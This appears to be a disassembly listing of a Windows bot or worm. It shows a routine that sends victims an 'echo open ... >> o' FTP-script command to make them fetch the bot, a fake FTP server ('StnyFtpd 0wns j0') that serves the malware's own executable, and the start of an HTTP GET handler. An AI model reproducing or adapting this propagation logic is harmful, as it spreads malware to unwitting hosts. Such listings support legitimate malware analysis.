; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40F0EC proc near ; DATA XREF: .packed:0042900Co
jmp $+5
sub_40F0EC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40F0F1 proc near
push 0FFFEh
push 400h
call sub_418BD1
pop ecx
mov dword_4CE710, eax
pop ecx
retn
sub_40F0F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F108 proc near ; DATA XREF: sub_40BD91+34Do
var_6C0 = byte ptr -6C0h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_B0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [eax+98h], esi
push 10h
lea eax, [ebp+var_14]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_A4]
call dword_4CB9D4 ; htons
push ebx
push esi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], ebx
call dword_4CBA54 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40F1AF
cmp [ebp+var_1C], ebx
jnz short loc_40F18F
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F18F: ; CODE XREF: sub_40F108+65j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_40F1AF: ; CODE XREF: sub_40F108+60j
mov eax, [ebp+var_AC]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, esi
mov ebx, 400h
jnz loc_40F2AA
call dword_4CB968 ; WSAGetLastError
cmp eax, 2740h
jz short loc_40F22F
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F20F
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F20F: ; CODE XREF: sub_40F108+E5j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_40F22F: ; CODE XREF: sub_40F108+DEj
push 0FFFEh
push ebx
call sub_418BD1
pop ecx
mov dword_4CE710, eax
pop ecx
mov [ebp+var_12], ax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, esi
jnz short loc_40F2AA
call dword_4CB968 ; WSAGetLastError
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F28A
cmp eax, 2740h
jz short loc_40F28A
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F28A: ; CODE XREF: sub_40F108+159j
; sub_40F108+160j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_40F2AA: ; CODE XREF: sub_40F108+CDj
; sub_40F108+14Cj
push 5
push edi
call dword_4CB9FC ; listen
cmp eax, esi
jz loc_40F38F
mov [ebp+var_4], 10h
mov esi, offset byte_429108
loc_40F2C7: ; CODE XREF: sub_40F108+1D7j
; sub_40F108+227j ...
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C0]
push eax
push edi
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40F2C7
cmp [ebp+var_1C], 0
jnz short loc_40F308
push 0
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F308: ; CODE XREF: sub_40F108+1DDj
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_2C0]
push 0
push 200h
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40F2C7
push esi
push esi
push dword_4CB710
push [ebp+var_B0]
call sub_40AA06
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+var_6C0]
push ebx
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_6C0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_6C0]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_40F2C7
inc dword_4CE718
jmp loc_40F2C7
; ---------------------------------------------------------------------------
loc_40F38F: ; CODE XREF: sub_40F108+1ADj
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_AC]
call sub_40B6D6
pop ecx
push 0
call dword_4270D4 ; ExitThread
sub_40F108 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F3AA proc near ; DATA XREF: sub_40BD91+22Ao
var_A70 = byte ptr -0A70h
var_8E0 = byte ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
var_2A0 = byte ptr -2A0h
var_23C = byte ptr -23Ch
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_128 = byte ptr -128h
var_FC = byte ptr -0FCh
var_C8 = byte ptr -0C8h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_20], ebx
mov [ebp+var_18], ebx
mov [ebp+var_22C], esi
mov [ebp+var_43C], esi
call dword_4271D8 ; WSAStartup
push esi
push ebx
push 2
call dword_427204 ; socket
mov esi, dword_4271DC
lea ecx, [ebp+var_28]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_20]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push edi
call dword_4271E0 ; ioctlsocket
mov ax, word ptr dword_4CB710
and [ebp+var_38], 0
push eax
mov [ebp+var_3C], 2
call dword_4CB9D4 ; htons
mov [ebp+var_3A], ax
lea eax, [ebp+var_3C]
push 10h
push eax
push edi
call dword_4271E4 ; bind
test eax, eax
jge short loc_40F470
mov eax, ebx
jmp loc_40F9B8
; ---------------------------------------------------------------------------
loc_40F470: ; CODE XREF: sub_40F3AA+BDj
push 0Ah
push edi
call dword_4271E8 ; listen
mov [ebp+var_22C], ebx
mov ebx, dword_427208
mov [ebp+var_228], edi
mov [ebp+var_4], edi
loc_40F48E: ; CODE XREF: sub_40F3AA+11Dj
; sub_40F3AA+606j
push 41h
lea esi, [ebp+var_22C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor esi, esi
lea eax, [ebp+var_43C]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_42720C ; select
cmp eax, 0FFFFFFFFh
jz loc_40F9B5
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_40F48E
loc_40F4C9: ; CODE XREF: sub_40F3AA+600j
xor esi, esi
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BF70
push 64h
lea eax, [ebp+var_B0]
push esi
push eax
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jz loc_40F9A3
cmp edi, [ebp+var_8]
jnz short loc_40F580
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_23C]
push eax
push [ebp+var_8]
call dword_4271EC ; accept
cmp eax, 0FFFFFFFFh
jz loc_40F9A3
xor ecx, ecx
cmp [ebp+var_22C], esi
jbe short loc_40F54A
lea edx, [ebp+var_228]
loc_40F53A: ; CODE XREF: sub_40F3AA+19Ej
cmp [edx], eax
jz short loc_40F54A
inc ecx
add edx, 4
cmp ecx, [ebp+var_22C]
jb short loc_40F53A
loc_40F54A: ; CODE XREF: sub_40F3AA+188j
; sub_40F3AA+192j
cmp ecx, [ebp+var_22C]
jnz short loc_40F568
cmp [ebp+var_22C], 40h
jnb short loc_40F568
mov [ebp+ecx*4+var_228], eax
inc [ebp+var_22C]
loc_40F568: ; CODE XREF: sub_40F3AA+1A6j
; sub_40F3AA+1AFj
cmp eax, [ebp+var_4]
jle short loc_40F570
mov [ebp+var_4], eax
loc_40F570: ; CODE XREF: sub_40F3AA+1C1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40F9A3
; ---------------------------------------------------------------------------
loc_40F580: ; CODE XREF: sub_40F3AA+15Aj
push esi
lea eax, [ebp+var_2A0]
push 64h
push eax
push edi
call dword_4271FC ; recv
test eax, eax
jg short loc_40F5E7
mov edx, [ebp+var_22C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40F5DB
lea eax, [ebp+var_228]
loc_40F5A7: ; CODE XREF: sub_40F3AA+207j
cmp [eax], edi
jz short loc_40F5B5
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_40F5A7
jmp short loc_40F5DB
; ---------------------------------------------------------------------------
loc_40F5B5: ; CODE XREF: sub_40F3AA+1FFj
dec edx
cmp ecx, edx
jnb short loc_40F5D5
lea eax, [ebp+ecx*4+var_228]
loc_40F5C1: ; CODE XREF: sub_40F3AA+229j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_22C]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_40F5C1
loc_40F5D5: ; CODE XREF: sub_40F3AA+20Ej
dec [ebp+var_22C]
loc_40F5DB: ; CODE XREF: sub_40F3AA+1F5j
; sub_40F3AA+209j
push edi
call dword_427200 ; closesocket
jmp loc_40F9A3
; ---------------------------------------------------------------------------
loc_40F5E7: ; CODE XREF: sub_40F3AA+1E9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2A0]
push offset aSS_0 ; "%s %s"
push eax
call sub_41CCE3
lea eax, [ebp+var_B0]
push offset aUser_0 ; "USER"
push eax
call sub_41CA50
add esp, 18h
test eax, eax
jnz short loc_40F62B
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F62B: ; CODE XREF: sub_40F3AA+272j
lea eax, [ebp+var_B0]
push offset aPass ; "PASS"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F64C
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F64C: ; CODE XREF: sub_40F3AA+296j
lea eax, [ebp+var_B0]
push offset aSyst ; "SYST"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F66D
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F66D: ; CODE XREF: sub_40F3AA+2B7j
lea eax, [ebp+var_B0]
push offset aRest ; "REST"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F68E
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F68E: ; CODE XREF: sub_40F3AA+2D8j
lea eax, [ebp+var_B0]
push offset off_43492C
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6B3
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
loc_40F6AD: ; CODE XREF: sub_40F3AA+27Cj
; sub_40F3AA+2A0j ...
push edi
jmp loc_40F98C
; ---------------------------------------------------------------------------
loc_40F6B3: ; CODE XREF: sub_40F3AA+2F9j
mov edi, offset aType ; "TYPE"
lea eax, [ebp+var_B0]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6EF
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6EF
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F6EF: ; CODE XREF: sub_40F3AA+31Fj
; sub_40F3AA+336j
lea eax, [ebp+var_B0]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F726
lea eax, [ebp+var_338]
push offset aI_0 ; "I"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F726
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F726: ; CODE XREF: sub_40F3AA+356j
; sub_40F3AA+36Dj
lea eax, [ebp+var_B0]
push offset aPasv ; "PASV"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F771
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_128]
rep movsd
push eax
lea eax, [ebp+var_128]
push eax
movsw
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_128]
loc_40F764: ; CODE XREF: sub_40F3AA+406j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
jmp loc_40F98E
; ---------------------------------------------------------------------------
loc_40F771: ; CODE XREF: sub_40F3AA+391j
lea eax, [ebp+var_B0]
push offset aList_0 ; "LIST"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F7B2
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax
movsb
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40F764
; ---------------------------------------------------------------------------
loc_40F7B2: ; CODE XREF: sub_40F3AA+3DCj
lea eax, [ebp+var_B0]
push offset aPort ; "PORT"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40F883
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+var_FC]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_2A0]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_41CCE3
lea eax, [ebp+var_FC]
push eax
call sub_41C159
mov edi, eax
lea eax, [ebp+var_2D4]
push eax
call sub_41C159
mov [ebp+var_C], eax
push 32h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41BF70
add esp, 34h
lea eax, [ebp+var_FC]
push [ebp+var_C]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_41C266
push 10h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41C7A5
add esp, 1Ch
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_4C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_41C266
add esp, 18h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F883: ; CODE XREF: sub_40F3AA+41Dj
lea eax, [ebp+var_B0]
push offset aRetr ; "RETR"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40F96A
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push [ebp+arg_0]
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_4C]
push eax
call sub_40F9BF
pop ecx
cmp eax, 1
pop ecx
jnz loc_40F960
cmp [ebp+var_444], esi
jnz short loc_40F8ED
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409869
add esp, 14h
loc_40F8ED: ; CODE XREF: sub_40F3AA+51Ej
call sub_40FA3C
cmp eax, 1
jnz loc_40F98E
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push [ebp+arg_0]
call ebx ; send
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_8E0]
push offset dword_434798
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40F94B
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409869
add esp, 14h
loc_40F94B: ; CODE XREF: sub_40F3AA+57Cj
lea eax, [ebp+var_8E0]
push eax
call sub_415D38
inc dword_4CE4E0
pop ecx
jmp short loc_40F98E
; ---------------------------------------------------------------------------
loc_40F960: ; CODE XREF: sub_40F3AA+512j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40F989
; ---------------------------------------------------------------------------
loc_40F96A: ; CODE XREF: sub_40F3AA+4EEj
lea eax, [ebp+var_B0]
push offset aQuit ; "QUIT"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F98E
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40F989: ; CODE XREF: sub_40F3AA+340j
; sub_40F3AA+377j ...
push [ebp+arg_0]
loc_40F98C: ; CODE XREF: sub_40F3AA+304j
call ebx ; send
loc_40F98E: ; CODE XREF: sub_40F3AA+3C2j
; sub_40F3AA+54Bj ...
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BF70
mov edi, [ebp+arg_0]
add esp, 0Ch
loc_40F9A3: ; CODE XREF: sub_40F3AA+151j
; sub_40F3AA+17Aj ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40F4C9
jmp loc_40F48E
; ---------------------------------------------------------------------------
loc_40F9B5: ; CODE XREF: sub_40F3AA+10Fj
push 1
pop eax
loc_40F9B8: ; CODE XREF: sub_40F3AA+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F3AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F9BF proc near ; CODE XREF: sub_40F3AA+508p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4271D8 ; WSAStartup
push 0
push 1
push 2
call dword_427204 ; socket
push [ebp+arg_0]
mov dword_4CE71C, eax
mov [ebp+var_10], 2
call dword_4271F0 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_4271F4 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_4CE71C
call dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40FA37
push dword_4CE71C
call dword_427200 ; closesocket
call dword_4271D4 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40FA37: ; CODE XREF: sub_40F9BF+60j
push 1
pop eax
leave
retn
sub_40F9BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FA3C proc near ; CODE XREF: sub_40F3AA:loc_40F8EDp
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset dword_429068
push eax
call sub_41BEA2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40FAD3
test byte ptr [esi+0Ch], 10h
jnz short loc_40FAB7
push edi
mov edi, 400h
loc_40FA7F: ; CODE XREF: sub_40FA3C+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_41BAFA
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_4CE71C
call dword_427208 ; send
push 1
call dword_427080 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40FA7F
pop edi
loc_40FAB7: ; CODE XREF: sub_40FA3C+3Bj
push esi
call sub_41BA3B
pop ecx
push dword_4CE71C
call dword_427200 ; closesocket
call dword_4271D4 ; WSACleanup
push 1
pop eax
loc_40FAD3: ; CODE XREF: sub_40FA3C+35j
pop esi
leave
retn
sub_40FA3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o
; sub_40BD91+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41BF70
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CB9D4 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40FEC1
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
push 7FFFFFFFh
push edi
call dword_4CB9FC ; listen
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CBA70 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CB9BC ; select
cmp eax, 0FFFFFFFFh
jz loc_40FEBC
xor esi, esi
mov [ebp+var_4], esi
loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CB8C0 ; __WSAFDIsSet
test eax, eax
jz loc_40FEA7
cmp esi, [ebp+var_C]
jnz short loc_40FC65
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40FEA7
xor ecx, ecx
test ebx, ebx
jbe short loc_40FC37
lea edx, [ebp+var_134]
loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj
cmp [edx], eax
jz short loc_40FC37
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40FC2B
loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj
; sub_40FAD6+157j
cmp ecx, ebx
jnz short loc_40FC54
cmp ebx, 40h
jnb short loc_40FC54
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40FC54: ; CODE XREF: sub_40FAD6+163j
; sub_40FAD6+168j
cmp eax, [ebp+var_8]
jbe loc_40FEA7
mov [ebp+var_8], eax
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FC65: ; CODE XREF: sub_40FAD6+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CB9EC ; recv
test eax, eax
jg short loc_40FCF8
push esi
call dword_4CBA6C ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_40FEA7
lea eax, [ebp+var_134]
loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj
cmp [eax], esi
jz short loc_40FCC8
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FCB7
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FCEC
lea eax, [ebp+ecx*4+var_134]
loc_40FCD6: ; CODE XREF: sub_40FAD6+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FCD6
loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41BF70
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jbe loc_40FEA7
loc_40FD26: ; CODE XREF: sub_40FAD6+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40FDCB
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40FD9F
lea eax, [ebp+var_18F0]
push eax
call sub_41B9C0
cmp eax, 5
pop ecx
jbe short loc_40FD9F
mov eax, offset asc_42CDC0 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41CAD4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C890
add esp, 10h
jmp short loc_40FDB6
; ---------------------------------------------------------------------------
loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj
; sub_40FAD6+291j
lea eax, [ebp+var_18F0]
push offset asc_4349EC ; "\r\n"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40FDEA
loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FDCB: ; CODE XREF: sub_40FAD6+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41B9C0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40FD26
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40FE34
lea eax, [ebp+var_134]
loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40FE07
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FDF6
jmp short loc_40FE37
; ---------------------------------------------------------------------------
